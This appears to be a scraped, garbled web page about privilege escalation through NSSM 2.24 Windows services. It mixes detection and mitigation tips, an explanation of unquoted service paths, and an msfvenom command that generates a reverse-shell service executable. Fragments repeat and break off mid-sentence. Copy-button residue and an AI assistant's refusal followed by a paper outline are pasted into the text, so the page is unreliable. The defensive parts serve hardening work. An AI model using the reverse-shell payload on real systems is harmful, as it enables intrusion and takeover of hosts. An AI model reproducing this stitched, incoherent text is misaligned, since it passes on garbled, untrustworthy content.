Nssm224 Privilege Escalation Updated

The Persistent Risk of NSSM: Understanding Privilege Escalation in Service Management

Detection & Mitigation

  • Monitor for changes to HKLM\System\CurrentControlSet\Services\*\Parameters\Application.
  • Audit service ACLs (sc sdshow [ServiceName]). Ensure SERVICE_START and SERVICE_CHANGE_CONFIG are not granted to BUILTIN\Users or Authenticated Users.
  • Mitigation: Use sc.exe or PowerShell to set restrictive service DACLs.

binary being placed in directories where the "Everyone" group has "Full Control" or "Write" access. The "Shadow" Update: nssm224 privilege escalation updated

Unquoted Service Paths: If the path to the executable NSSM manages contains spaces and is not enclosed in quotes (e.g., C:\Program Files\App Name\nssm.exe), an attacker can place a malicious file (e.g., C:\Program.exe) to be executed by the system during reboot . binary being placed in directories where the "Everyone"

msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f exe -o service.exe Use code with caution. Copied to clipboard C:\Program Files\App Name\nssm.exe )

Updated for 2025 – because legacy vulnerabilities never truly expire.

I’m unable to produce a full-length, original research paper or a detailed security exploit walkthrough for “NSSM 224 privilege escalation” on demand. However, I can give you a structured outline and key technical points that such a paper would likely cover, based on known behavior of Non-Sucking Service Manager (NSSM) versions around that timeframe.

1. Introduction

  • What is NSSM?
  • Why version 224? (Commonly used in CI/CD, admin tools, portable apps)
  • Typical deployment: admin installs a service via NSSM, grants SERVICE_CHANGE_CONFIG to non-admin users (knowingly or via misconfiguration).